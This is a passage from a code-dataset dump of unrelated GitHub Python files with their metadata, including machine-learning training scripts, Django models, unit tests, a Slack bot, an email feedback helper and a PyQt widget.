optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n print(\"Train mean loss (train): {:.5f}\".format((np.array(losses).mean())))\n train_losses.append(np.array(losses).mean())\n\n # verification\n num_sample = 0\n num_correct = 0\n losses = []\n model.eval()\n with torch.no_grad():\n for i, (images, labels) in enumerate(verification_loader):\n images1 = images[:, 0].cuda()\n images2 = images[:, 1].cuda()\n labels = labels.cuda()\n\n preds = model(images1, images2)\n loss = loss_func(preds, labels)\n losses.append(loss.cpu().item())\n\n predictions = preds.cpu().numpy().reshape(-1)\n corrections = labels.cpu().numpy().reshape(-1)\n for p, c in zip(predictions, corrections):\n num_sample += 1\n if p >= 0.5 and c == 1:\n num_correct += 1\n elif p < 0.5 and c == 0:\n num_correct += 1\n \n print(\"Verification loss : {:.5f}\".format((np.array(losses).mean())))\n print(\"Verification accuracy : {:.3f}\".format((float(num_correct / num_sample))))\n verification_losses.append(np.array(losses).mean())\n verification_acc.append(float(num_correct / num_sample))\n\n\n print(\"Learning Finished\")\n print(\"Final Train Loss : {:.5f}\".format((train_losses[-1])))\n print(\"Final Verification Loss: {:.5f}\".format(verification_losses[-1]))\n print(\"Final Verification Accuracy: {:.5f}\".format(verification_acc[-1]))\n\n\ndef main(args):\n torch.manual_seed(args.seed)\n model = Model()\n model.cuda()\n\n train_loader, verification_loader = preprocess(args.data_dir)\n\n train(model, train_loader, verification_loader, args.epochs, \n args.train_batch_sz, args.verification_batch_sz, args.save_path)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str, default='./data/omniglot',\n help='omniglot dataset directory path')\n parser.add_argument('--train_batch_sz', type=int, default=128,\n help='train_batch size')\n parser.add_argument('--epochs', type=int, default=200,\n help='max epoch')\n parser.add_argument('--verification_batch_sz', type=int, default=1, \n help='verification batch size')\n parser.add_argument('--seed', type=int, default=0,\n help='torch seed')\n parser.add_argument('--save_path', type=str, default='output/')\n args = parser.parse_args()\n\n main(args)","repo_name":"kambehmw/siamese-networks","sub_path":"omniglot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30117030827","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom ...core.objects.relic import DMRelic\nfrom utilities import UnlockPack\n\nif TYPE_CHECKING:\n from dm.core.game.game import DMGame\n from dm.core.objects.unit import DMUnit\n################################################################################\n\n__all__ = (\"ShieldOfTheDevil\",)\n\n################################################################################\nclass ShieldOfTheDevil(DMRelic):\n\n def __init__(self, state: DMGame):\n\n super().__init__(\n state,\n _id=\"REL-270\",\n name=\"Shield of the Devil\",\n description=(\n \"When a hero enters the Dark Lord's room, the Dark Lord \"\n \"gets 1 Shield.\"\n ),\n rank=4,\n unlock=UnlockPack.Original\n )\n\n################################################################################\n def on_acquire(self) -> None:\n \"\"\"Called automatically when a relic is added to the player's inventory.\"\"\"\n\n self.listen(\"boss_room_entered\")\n\n################################################################################\n def notify(self, unit: DMUnit) -> None:\n \"\"\"A general event response function.\"\"\"\n\n self.game.dark_lord.add_status(\"Shield\", 1, self)\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/relics/FourStar/ShieldOfTheDevil.py","file_name":"ShieldOfTheDevil.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35055184960","text":"#!/usr/bin/env python\n# coding: utf-8\nimport numpy as np\nfrom sys import argv\nimport pickle\n\n# How to use this script: 1st input : training list ids , 2nd: output file (dictionary with infomatrices, binary), 3rd: dssp directory, 4th : profiles directory\n\nH=np.zeros(shape=(17,20))\nE=np.zeros(shape=(17,20))\nC=np.zeros(shape=(17,20))\nOV=np.zeros(shape=(17,20))\n\nidlist=open(argv[1],\"r\")\nidl=[]\nfor item in idlist:\n idl.append(item.rstrip())\n\nidlist.close()\n\n\nfor item in idl:\n try:\n dsspfile=open(argv[3]+item+\".dssp\",\"r\") #open(\"../dssps/{}.dssp\".format(item),\"r\") \n for line in dsspfile:\n if line[0]!= \">\":\n dssp=line.rstrip()\n #print(item,\"\\n\",dssp)\n dsspfile.close()\n profile=open(argv[4]+item+\".txt\",\"r\") #open(\"../profiles/{}.txt\".format(item),\"r\")\n pr=np.loadtxt(profile)\n profile.close()\n pr=np.vstack((np.zeros(shape=(8,20)),pr))\n pr=np.vstack((pr,np.zeros(shape=(8,20))))\n for i in range(0,len(dssp)): \n\n prof=pr[i:i+17] \n\n if dssp[i]==\"H\":\n for r in range(17):\n H[r]=H[r]+prof[r]\n elif dssp[i]==\"E\":\n for r in range(17):\n E[r]=E[r]+prof[r]\n elif dssp[i]==\"-\":\n for r in range(17):\n C[r]=C[r]+prof[r]\n\n for r in range(17):\n OV[r]=OV[r]+prof[r]\n except:\n pass\n\n# computing ss probabilities\nHP=sum(H[8])/sum(OV[8]) #p(H)\nEP=sum(E[8])/sum(OV[8]) #p(E)\nCP=sum(C[8])/sum(OV[8]) #p(C)\n\n# creating a list which stores each infomatrix\n\nl=[H,E,C,OV]\n\n# normalization\nfor r in range(len(OV)):\n tot=sum(OV[r])\n for matrix in l:\n for c in range(len(matrix[r])):\n matrix[r][c]=matrix[r][c]/tot\n\n# computing log for each matrix\n\nfor r in range(len(l[0])):\n for c in range(len(l[0][r])):\n l[0][r][c]=np.log(l[0][r][c]/(HP*OV[r][c]))\n # l[1][r][c]=np.log(l[1][r][c]/(EP*OV[r][c])) \n # l[2][r][c]=np.log(l[2][r][c]/(CP*OV[r][c])) ---> just ONE LOOP \n \n \nfor r in range(len(l[1])):\n for c in range(len(l[1][r])):\n l[1][r][c]=np.log(l[1][r][c]/(EP*OV[r][c])) \n\nfor r in range(len(l[2])):\n for c in range(len(l[2][r])):\n l[2][r][c]=np.log(l[2][r][c]/(CP*OV[r][c]))\n\n \nd={\"H\":l[0],\"E\":l[1],\"C\":l[2],\"OV\":l[3]} \n\n \nmatrix=open(argv[2],\"wb\")\npickle.dump(d,matrix)\nmatrix.close()\n\n\n#### AGGIUNGI argv[3] e argv[4] to add directory and not hardcoding my files . I can also skip the for loops to iterate over H and prof since I can just do prof+H . professor suggested also to use dictionary to one-line encode my matrices (d[dssp[i]]=d[dssp[i]]+prof\n","repo_name":"Luqui12/Lab2","sub_path":"GOR-train.py","file_name":"GOR-train.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"43598592519","text":"import unittest\nimport sys\nimport os\nfrom os.path import join as pjoin\nimport math\n\nsys.path.insert(0, os.path.abspath(pjoin(os.pardir, 'webapi')))\n\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG if ('-v' in sys.argv or '--verbose' in sys.argv) else logging.INFO)\nlogger.addHandler(logging.StreamHandler())\n\nimport numpy as np\n\nos.chdir(os.path.abspath(os.path.dirname(__file__)))\n\ntodeg = 180.0/math.pi\ntorad = 1.0/todeg\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\ndef normalize_vect(v):\n return v / np.linalg.norm(v)\n\nclass TestMCSource(unittest.TestCase):\n test_cases = [\n (( 0, 1, 0), ( 0, 0, 0)),\n (( -1, 0, 0), ( 90, 0, 0)),\n (( 0, -1, 0), ( 180, 0, 0)),\n (( 1, 0, 0), ( 270, 0, 0)),\n (( 0, 1, 0), ( 360, 0, 0)),\n (( 0, 0, -1), ( 90, 90, 0)),\n (( 0, -1, 0), ( 180, 90, 0)),\n (( 0, 0, 1), ( 90, -90, 0)),\n\n (( 0, 1, 0), ( 0, 0, 20)),\n (( -1, 0, 0), ( 90, 0, 20)),\n (( 0, -1, 0), ( 180, 0, 20)),\n (( 1, 0, 0), ( 270, 0, 20)),\n (( 0, 1, 0), ( 360, 0, 20)),\n (( 0, 0, -1), ( 90, 90, 20)),\n (( 0, -1, 0), ( 180, 90, 20)),\n (( 0, 0, 1), ( 90, -90, 20)),\n\n (( 0, 1, 0), ( 0, 0, -20)),\n (( -1, 0, 0), ( 90, 0, -20)),\n (( 0, -1, 0), ( 180, 0, -20)),\n (( 1, 0, 0), ( 270, 0, -20)),\n (( 0, 1, 0), ( 360, 0, -20)),\n (( 0, 0, -1), ( 90, 90,-20)),\n (( 0, -1, 0), ( 180, 90,-20)),\n (( 0, 0, 1), ( 90, -90,-20)),\n\n (( 0, 1, 0), ( 0, 0, -20)),\n (( -1, 0, 0), ( 90, 0, -20)),\n (( 0, -1, 0), ( 180, 0, -20)),\n (( 1, 0, 0), ( 270, 0, -20)),\n (( 0, 1, 0), ( 360, 0, -20)),\n (( 0, 0, -1), ( 90, 90,-20)),\n (( 0, -1, 0), ( 180, 90,-20)),\n (( 0, 0, 1), ( 90, -90,-20)),\n ]\n\n def testGenerateGPS(self):\n import geometry\n iso = (20, -14, 55)\n test_cases_failed = 0\n for idx, (direction, (angle_gantry, angle_couch, angle_coll)) in enumerate(self.test_cases):\n source, focus, iso2 = geometry.calculate_gps_coordinates(\n position=[20, 20],\n angle_gantry=angle_gantry*torad,\n angle_couch=angle_couch*torad,\n angle_coll=angle_coll*torad,\n iso=iso,\n start=(-15,-234,-23),\n size=(256, 256, 100),\n spacing=(0.5, 0.5, 0.5),\n fmapdims=(40, 40),\n beamletspacing=(0.5, 0.5),\n beamletsize=(0.5, 0.5),\n sad=100.0,\n )\n beam_direction = normalize_vect(np.subtract(iso2, focus))\n try:\n np.testing.assert_almost_equal(beam_direction, direction, decimal=4, err_msg=\"failed for angle ({}, {}, {})\".format(angle_gantry, angle_couch, angle_coll))\n status=bcolors.OKGREEN+'PASS'+bcolors.ENDC\n except Exception as e:\n test_cases_failed += 1\n status=bcolors.FAIL+'FAIL'+bcolors.ENDC\n logger.debug('{:3d} [{!s}]: angle: ({:6.1f}, {:6.1f}, {:6.1f})' \\\n ' || dir: ({:5.2f}, {:5.2f}, {:5.2f})'\n ' || exp: ({:5.2f}, {:5.2f}, {:5.2f})'.format(\n idx, status, angle_gantry, angle_couch, angle_coll,\n *beam_direction, *direction\n ))\n assert test_cases_failed == 0\n\n def testCalculateSourcePlaneRotation(self):\n import generate_input\n test_cases_failed = 0\n for idx, (direction, (angle_gantry, angle_couch, angle_coll)) in enumerate(self.test_cases):\n xp, yp = generate_input.calculate_plane_rotation(\n angle_gantry=angle_gantry*torad,\n angle_couch=angle_couch*torad,\n angle_coll=angle_coll*torad,\n )\n beam_direction = normalize_vect(np.cross(xp, yp))\n try:\n np.testing.assert_almost_equal(beam_direction, direction, decimal=4, err_msg=\"failed for angle ({}, {}, {})\".format(angle_gantry, angle_couch, angle_coll))\n status=bcolors.OKGREEN+'PASS'+bcolors.ENDC\n except Exception as e:\n test_cases_failed += 1\n status=bcolors.FAIL+'FAIL'+bcolors.ENDC\n logger.debug('{:3d} [{!s}]: angle: ({:6.1f}, {:6.1f}, {:6.1f})' \\\n ' || dir: ({:5.2f}, {:5.2f}, {:5.2f})'\n ' || exp: ({:5.2f}, {:5.2f}, {:5.2f})'.format(\n idx, status, angle_gantry, angle_couch, angle_coll,\n *beam_direction, *direction\n ))\n assert test_cases_failed == 0\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"qihuilyu/P2T","sub_path":"MC simulation/dosecalc/test/test_geant4_inputs.py","file_name":"test_geant4_inputs.py","file_ext":"py","file_size_in_byte":5151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"40203064698","text":"import datetime\nimport random\n\nfrom django.db import models\n\nfrom faker import Faker\n\n# GROUP_SUBJECT = [\n# 'Разработка web-приложений',\n# 'Разработка desktop-приложений',\n# 'Разработка серверных приложений',\n# 'Разработка мобильных приложений',\n# 'Программирование встраиваемых систем',\n# 'Системное программирование',\n# 'Разработка игр'\n# ]\n\n\n# Create your models here.\nclass Group(models.Model):\n create_datetime = models.DateTimeField(auto_now_add=True)\n update_datetime = models.DateTimeField(auto_now=True)\n group_number = models.IntegerField(null=False)\n # academic_subject = models.CharField(max_length=80, null=False)\n date_of_creation = models.DateField(default=datetime.date.today)\n end_date = models.DateField(null=True, blank=True)\n number_of_students = models.IntegerField(default=0)\n headman = models.OneToOneField(\n 'students.Student',\n on_delete=models.SET_NULL,\n null=True,\n related_name='headed_group'\n )\n course = models.OneToOneField(\n 'courses.Course',\n on_delete=models.SET_NULL,\n null=True,\n related_name='course_group'\n )\n\n\n def __str__(self):\n # return f'№{self.group_number}, Курс: \"{self.academic_subject}\", \\\n # Дата создания: {self.date_of_creation}, \\\n # Кол-во студентов: {self.number_of_students}'\n return f'Group №{self.group_number} Created: {self.date_of_creation}'\n\n @staticmethod\n def generate_groups(count):\n faker = Faker()\n create_group = []\n for _ in range(count):\n grp = Group(\n group_number=faker.random_int(min=1, max=100),\n # academic_subject=faker.sentence(\n # ext_word_list=GROUP_SUBJECT,\n # nb_words=1\n # ),\n # academic_subject=random.choice(GROUP_SUBJECT),\n date_of_creation=faker.date_this_year(),\n number_of_students=faker.random_int(min=1, max=30)\n )\n grp.save()\n create_group.append(str(grp))\n return create_group\n","repo_name":"RenKus96/test_django","sub_path":"groups/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24154737285","text":"import sys\nsys.path.append( \"cmake-build-debug-xc\" )\n\nimport surgepy\nimport surgepy.constants as srco\n\nprint( \"\" )\ns = surgepy.createSurge(44100)\n\np = s.getPatch()\nfx = p[\"fx\"][0]\ns.setParamVal(fx[\"type\"], srco.fxt_airwindows )\ns.process()\n\nprint(\"\")\n\nmn = s.getParamMin(fx[\"p\"][0])\nmx = s.getParamMax(fx[\"p\"][0])\n\nfor q in range(int(mn),int(mx)):\n s.setParamVal(fx[\"p\"][0], q )\n s.process()\n s.process()\n print( \"\")\n try:\n for par in fx[\"p\"]:\n if( s.getParamDisplay(par) != \"-\"):\n print( s.getParameterName(par.getId()), \" \", s.getParamDisplay(par), \" [\", s.getParamVal(par), \"]\")\n except Exception as err:\n print( \"\")\n print( \" \" );","repo_name":"surge-synthesizer/surge","sub_path":"scripts/misc/make-aw-xml.py","file_name":"make-aw-xml.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":2721,"dataset":"github-code","pt":"3"} +{"seq_id":"20460393503","text":"import slack \nimport os\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom scores import Dynasty\nfrom slackbot_utils import sendMessage\n\nenv_path = Path('.') / '.bot_env'\nload_dotenv(dotenv_path=env_path)\n\nclient = slack.WebClient(token=os.environ['SLACK_TOKEN'])\nleague = Dynasty(year=2022)\n\n\ndef championshipUpdate(channel):\n league = Dynasty(year=2022)\n finalists = ['Drew', 'Cal', 'Marcus', 'Cody']\n emojis = [':one:', ':two:', ':three:', ':four:']\n missingPlayers = {\n \"Josh Allen\": 0,\n \"Joe Mixon\": 0, \n \"Stefon Diggs\": 0,\n \"Joe Burrow\": 0,\n \"Ja'Marr Chase\": 0,\n \"Dawson Knox\": 0\n }\n \n # get missing players week 18 scores and add them to week 17\n week17Scores = league.weekScores(17)\n for team in finalists: \n lineup = league.weekLineup(team, 18)\n for player in lineup: \n if player[0] in missingPlayers.keys(): \n playerScore = round(player[1]['Points'],0)\n missingPlayers[player[0]] = playerScore\n week17Scores[team] += playerScore\n else: \n continue\n\n revisedScores = dict(sorted(week17Scores.items(), \n key=lambda x:x[1], \n reverse=True))\n\n header = {\n \"blocks\": [\n {\n \"type\": \"header\",\n \"text\": {\n \"type\": \"plain_text\",\n \"text\": \":mardi-gras-parrot: Championship Scores (Projected) :mardi-gras-parrot:\"\n }\n },\n {\n \"type\": \"divider\"\n }\n ]\n }\n\n client.chat_postMessage(channel=channel, **header)\n for team, score in revisedScores.items(): \n if team in finalists: \n rank = list(revisedScores.keys()).index(team)\n text = f'{emojis[rank]} *{team}: {score:.2f}*'\n message = {\"blocks\": [{\"type\": \"section\", \"text\": {\"type\": \"mrkdwn\", \"text\": text}}]}\n client.chat_postMessage(channel=channel, **message)\n\n return missingPlayers\n\nchampionshipUpdate(\"#bot-test\")","repo_name":"drewpgilmore/dynasty","sub_path":"slackbot.py","file_name":"slackbot.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"74859220561","text":"\"\"\"MatminerCompositionFeatures tests.\n\nScientific Machine Learning Benchmark\nA benchmark of regression models in chem- and materials informatics.\n2019-2020, Citrine Informatics.\n\"\"\"\n\nimport pytest\n\nimport numpy as np\n\nmatminer = pytest.importorskip(\"matminer\")\npymatgen = pytest.importorskip(\"pymatgen\")\n\nimport smlb\n\nfrom smlb.features.matminer_composition import MatminerCompositionFeatures\n\n\ndef test_MatminerCompositionFeatures_1():\n \"\"\"Simple examples.\"\"\"\n\n # callable, without labels\n data = smlb.TabularData(data=np.array([\"LiF\", \"Sb2Te3\"]))\n feat = MatminerCompositionFeatures().fit(data=data).apply(data=data)\n\n assert isinstance(feat, smlb.TabularData)\n assert feat.is_finite and not feat.is_labeled\n smlb.params.real_matrix(feat.samples()) # must not raise\n\n # callable, with labels\n data = smlb.TabularData(data=np.array([\"LiF\", \"Sb2Te3\"]), labels=np.array([1.0, 2.0]))\n feat = MatminerCompositionFeatures().fit(data=data).apply(data=data)\n\n assert isinstance(feat, smlb.TabularData)\n smlb.params.real_matrix(feat.samples()) # must not raise\n smlb.params.real_vector(feat.labels()) # must not raise\n\n # third example\n data = smlb.TabularData(data=np.array([\"Al2O3\", \"Ni1.8W.05Al0.4\"]))\n feat = MatminerCompositionFeatures(ionic_fast=True).fit(data=data).apply(data=data)\n\n assert isinstance(feat, smlb.TabularData)\n smlb.params.real_matrix(feat.samples()) # must not raise\n\n\ndef test_MatminerCompositionFeatures_2():\n \"\"\"Test that feature subsets can be applied individually.\"\"\"\n\n data = smlb.TabularData(data=np.array([\"V4O5\", \"Ni87.3Al10Cu3.3Co.23\"]))\n mmfa = (\n MatminerCompositionFeatures(select=\"all\", ionic_fast=True).fit(data=data).apply(data=data)\n )\n mmfb = (\n MatminerCompositionFeatures(\n select=(\"stoichiometry\", \"elemental\", \"ionic\", \"valence\"), ionic_fast=True\n )\n .fit(data=data)\n .apply(data=data)\n )\n\n mmf1 = MatminerCompositionFeatures(select=\"stoichiometry\").fit(data=data).apply(data=data)\n mmf2 = MatminerCompositionFeatures(select=\"elemental\").fit(data=data).apply(data=data)\n mmf3 = (\n MatminerCompositionFeatures(select=\"ionic\", ionic_fast=True)\n .fit(data=data)\n .apply(data=data)\n )\n mmf4 = MatminerCompositionFeatures(select=\"valence\").fit(data=data).apply(data=data)\n\n # stack the individual featurizations together and assert that we recover full featurization\n recombined_features = np.hstack(\n [mmf1.samples(), mmf2.samples(), mmf3.samples(), mmf4.samples()]\n )\n\n assert (recombined_features == mmfa.samples()).all()\n assert (mmfa.samples() == mmfb.samples()).all()\n\n\ndef test_MatminerCompositionFeatures_3():\n \"\"\"Test specific values for each feature group.\n\n These tests compute all wrapped feature groups\n (e.g., stoichiometry, elemental, ionic, valence)\n for reference systems (e.g., Fe2 O3) and compare\n against reference values provided by the matminer tests.\n\n Reference values from matminer `test_composition.py`:\n https://github.com/hackingmaterials/matminer/blob/master/matminer/featurizers/tests/test_composition.py\n\n The tests proceed according to this scheme:\n ```\n # create an (unlabeled) dataset containing one or two chemical sum formulas\n data = smlb.TabularData(data=[\"compound(s) formula\", ...])\n # compute a specific group of matminer features; some accept parameters passed through to matminer\n mmf = MatminerCompositionFeatures(select=\"group\", pass-through parameters)\n # compute the features; mmf is now a dataset that contains feature vectors\n mmf = mmf.fit(data).apply(data)\n # compare the i-th feature of first sample versus matminer reference value\n assert np.allclose(mmf.samples()[0][i], reference_value)\n ```\n The reference values are taken from matminer. They do not have any meaning beyond\n having been computed there. This test only verifies that the smlb wrapper returns\n the same values as the original matminer call for selected test cases.\n \"\"\"\n\n # stoichiometry\n\n # default\n data = smlb.TabularData(data=np.array([\"Fe2O3\"]))\n mmf = MatminerCompositionFeatures(select=\"stoichiometry\").fit(data).apply(data)\n assert mmf.samples()[0][0] == 2\n assert np.allclose(mmf.samples()[0][-2], 0.604895199)\n\n # user-defined norms\n mmf = (\n MatminerCompositionFeatures(select=\"stoichiometry\", stoichiometry_p_list=(7, 0))\n .fit(data)\n .apply(data)\n )\n assert np.allclose(mmf.samples()[0][0], 0.604895199)\n assert mmf.samples()[0][1] == 2\n\n # invariance to amounts\n data = smlb.TabularData(np.array([\"FeO\", \"Fe0.5O0.5\", \"Fe2O2\"]))\n mmf = MatminerCompositionFeatures(select=\"stoichiometry\").fit(data).apply(data)\n assert np.allclose(mmf.samples()[0], mmf.samples()[1])\n assert np.allclose(mmf.samples()[0], mmf.samples()[2])\n\n # elemental\n\n # magpie\n data = smlb.TabularData(np.array([\"Fe2O3\"]))\n mmf = MatminerCompositionFeatures(select=\"elemental\").fit(data).apply(data)\n assert np.allclose(mmf.samples()[0][:6], [8, 26, 18, 15.2, 8.64, 8])\n\n # ionic\n\n # default\n data = smlb.TabularData(data=np.array([\"Fe2O3\"]))\n mmf = MatminerCompositionFeatures(select=\"ionic\").fit(data=data).apply(data=data)\n assert np.allclose(mmf.samples()[0], [1, 0.476922164, 0.114461319])\n\n # fast\n mmf = (\n MatminerCompositionFeatures(select=\"ionic\", ionic_fast=True)\n .fit(data=data)\n .apply(data=data)\n )\n assert np.allclose(mmf.samples()[0], [1, 0.476922164, 0.114461319])\n\n # fast with heterovalent compound\n data = smlb.TabularData(data=np.array([\"Fe3O4\"]))\n mmf1 = MatminerCompositionFeatures(select=\"ionic\", ionic_fast=False).fit(data).apply(data)\n mmf2 = MatminerCompositionFeatures(select=\"ionic\", ionic_fast=True).fit(data).apply(data)\n assert mmf1.samples()[0][0] == 1 and mmf2.samples()[0][0] == 0\n\n # valence\n\n # default parameters\n data = smlb.TabularData(np.array([\"Fe2O3\"]))\n mmf = MatminerCompositionFeatures(select=\"valence\").fit(data).apply(data)\n np.allclose(mmf.samples()[0], [2.0, 2.4, 2.4, 0.0, 0.294117647, 0.352941176, 0.352941176, 0])\n\n # user-defined parameters\n data = smlb.TabularData(np.array([\"Fe2O3\"]))\n mmf = (\n MatminerCompositionFeatures(\n select=\"valence\", valence_orbitals=(\"s\", \"p\"), valence_props=(\"avg\",)\n )\n .fit(data)\n .apply(data)\n )\n np.allclose(mmf.samples()[0], [2.0, 2.4])\n\n data = smlb.TabularData(np.array([\"Fe2O3\"]))\n mmf = (\n MatminerCompositionFeatures(\n select=\"valence\", valence_orbitals=(\"p\", \"s\"), valence_props=(\"frac\", \"avg\",)\n )\n .fit(data)\n .apply(data)\n )\n np.allclose(mmf.samples()[0], [0.352941176, 0.294117647, 2.4, 2.0])\n","repo_name":"CitrineInformatics/smlb","sub_path":"tests/features/test_features_matminer_composition.py","file_name":"test_features_matminer_composition.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"13603868572","text":"from django.urls import re_path\n\nfrom main import views as main_views\n\ndownload_urlpatterns = ([\n re_path(r'templates/site/lat-long/?',\n main_views.SiteTemplateView.as_view(model='lat_long'),\n name=\"site-template-lat-long\"\n ),\n re_path(r'templates/site/easting-northing/?',\n main_views.SiteTemplateView.as_view(model='easting_northing'),\n name=\"site-template-easting-northing\"\n ),\n], 'download')\n","repo_name":"serge-gaia/biosys","sub_path":"biosys/apps/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"34916450742","text":"from email.header import Header\nfrom email.mime.text import MIMEText\nfrom email.utils import formataddr\nimport logging\nimport os\nfrom smtplib import SMTP, SMTPException\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef email_feedback(ip_addr, reply_name, reply_email, reason, comments):\n server_addr = os.getenv('SMTP_SERVER_ADDRESS')\n recip_email = os.getenv('FEEDBACK_TARGET_EMAIL')\n app_url = os.getenv('APPLICATION_URL')\n from_name = 'OrgBook BC'\n from_email = 'no-reply@orgbook.gov.bc.ca'\n\n reason_map = {\n \"incorrect\": \"Reporting incorrect information\",\n \"additional\": \"Requesting additional information on BC organizations\",\n \"signup\": \"Looking to sign up my government organization\",\n \"developer\": \"Developer request\",\n }\n reason_text = reason_map.get(reason) or ''\n\n subject = 'OrgBook BC Feedback: {}'.format(reason_text)\n\n LOGGER.info(\"Received feedback from %s <%s>\", reply_name, reply_email)\n LOGGER.info(\"Feedback content: %s\\n%s\", subject, comments)\n\n if not reason or not reply_email:\n LOGGER.info(\"Skipped blank feedback\")\n return False\n\n if server_addr and recip_email:\n body = ''\n if app_url:\n body = '{}Application URL: {}\\n'.format(body, app_url)\n if ip_addr:\n body = '{}IP address: {}\\n'.format(body, ip_addr)\n if reply_name:\n body = '{}Name: {}\\n'.format(body, reply_name)\n if reply_email:\n body = '{}Email: {}\\n'.format(body, reply_email)\n if reason_text:\n body = '{}Contact reason: {}\\n'.format(body, reason_text)\n if comments:\n body = '{}Comments:\\n{}\\n'.format(body, comments)\n msg = MIMEText(body, 'plain')\n recipients = \",\".join(recip_email)\n from_line = formataddr( (str(Header(from_name, 'utf-8')), from_email) )\n reply_line = formataddr( (str(Header(reply_name, 'utf-8')), reply_email) )\n msg['Subject'] = subject\n msg['From'] = from_line\n msg['Reply-To'] = reply_line\n msg['To'] = recip_email\n #LOGGER.info(\"encoded:\\n%s\", msg.as_string())\n\n with SMTP(server_addr) as smtp:\n try:\n smtp.sendmail(from_line, (recip_email,), msg.as_string())\n LOGGER.debug(\"Feedback email sent\")\n except SMTPException:\n LOGGER.exception(\"Exception when emailing feedback results\")\n\n return True\n","repo_name":"bcgov/TheOrgBook","sub_path":"tob-api/api_v2/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"3"} +{"seq_id":"17207185514","text":"from PyQt5 import QtWidgets, QtCore, QtGui\n\nfrom sidebar_selectors.base_class_selector import SidebarSelectorBase\nfrom sidebar_selectors.selector_time_units import UnitsComboBox\n\n\nclass RevolutionRangeSelector(SidebarSelectorBase):\n sigRangeChanged = QtCore.pyqtSignal(float, float, int)\n\n def __init__(self, parent=None):\n super(RevolutionRangeSelector, self).__init__(parent, 'Select Revolution Range', layout=SidebarSelectorBase.GRID_LAYOUT)\n\n def init(self, start, end, max=20.0):\n # create form validator\n self.validator = QtGui.QDoubleValidator(0.0, max, 1)\n\n # set initial value\n self.start = start\n self.end = end\n self.prev = None\n\n # setup UI\n self.start_le = self.add_row(\"from:\", start, 1)\n self.end_le = self.add_row(\"to:\", end, 2)\n\n label = QtWidgets.QLabel(self)\n label.setText(\"units:\")\n self.layout().addWidget(label, 3, 0)\n\n units = UnitsComboBox(self)\n units.sigUnitsChanged.connect(self.units_changed)\n units.selection_changed()\n self.layout().addWidget(units, 3, 1)\n\n self.emit_range_changed()\n\n def units_changed(self, units):\n self.units = units\n\n def set_max_from_torque_revs(self, torque):\n if torque is not None:\n self.validator = QtGui.QDoubleValidator(0.0, torque.num_revs(), 1)\n self.check_state()\n\n def add_row(self, string, value, row):\n label = QtWidgets.QLabel(self)\n label.setText(string)\n self.layout().addWidget(label, row, 0)\n text = QtWidgets.QLineEdit(self)\n text.setText(\"%.1f\" % value)\n text.setValidator(self.validator)\n self.layout().addWidget(text, row, 1)\n text.textChanged.connect(self.check_state)\n return text\n\n def check_state(self):\n condition = self.check_form_level_state(self.start_le) \\\n and self.check_form_level_state(self.end_le) \\\n and self.check_widget_level_state()\n\n if condition:\n if self.prev is None or self.start != self.prev[0] or self.end != self.prev[1]:\n self.emit_range_changed()\n\n self.prev = [self.start, self.end]\n\n def emit_range_changed(self):\n self.sigRangeChanged.emit(self.start, self.end, self.units)\n\n def check_widget_level_state(self):\n try:\n self.start = float(self.start_le.text())\n self.end = float(self.end_le.text())\n except:\n return False\n\n if self.end <= self.start:\n color = '#f6989d' # red\n for form_widget in [self.start_le, self.end_le]:\n form_widget.setStyleSheet('QLineEdit { background-color: %s }' % color)\n return False\n else:\n return True\n\n def check_form_level_state(self, form_widget):\n text = form_widget.text()\n state = self.validator.validate(form_widget.text(), 0)[0]\n\n try:\n float(text)\n except:\n state = QtGui.QValidator.Invalid\n\n ok = False\n if state == QtGui.QValidator.Acceptable:\n color = '#ffffff' # white\n ok = True\n elif state == QtGui.QValidator.Intermediate:\n color = '#fff79a' # yellow\n else:\n color = '#f6989d' # red\n form_widget.setStyleSheet('QLineEdit { background-color: %s }' % color)\n\n return ok\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QtWidgets.QApplication(sys.argv)\n\n a = RevolutionRangeSelector()\n a.show()\n sys.exit(app.exec_())\n","repo_name":"markgdawson/plyg-plot","sub_path":"sidebar_selectors/selector_revolution_range_.py","file_name":"selector_revolution_range_.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43972177103","text":"\ndef distance(x, y):\n return abs(x) + abs(y) - ((abs(x)+1)/2)\n\ndef run(moves):\n x = 0\n y = 0\n maxdist = 0\n 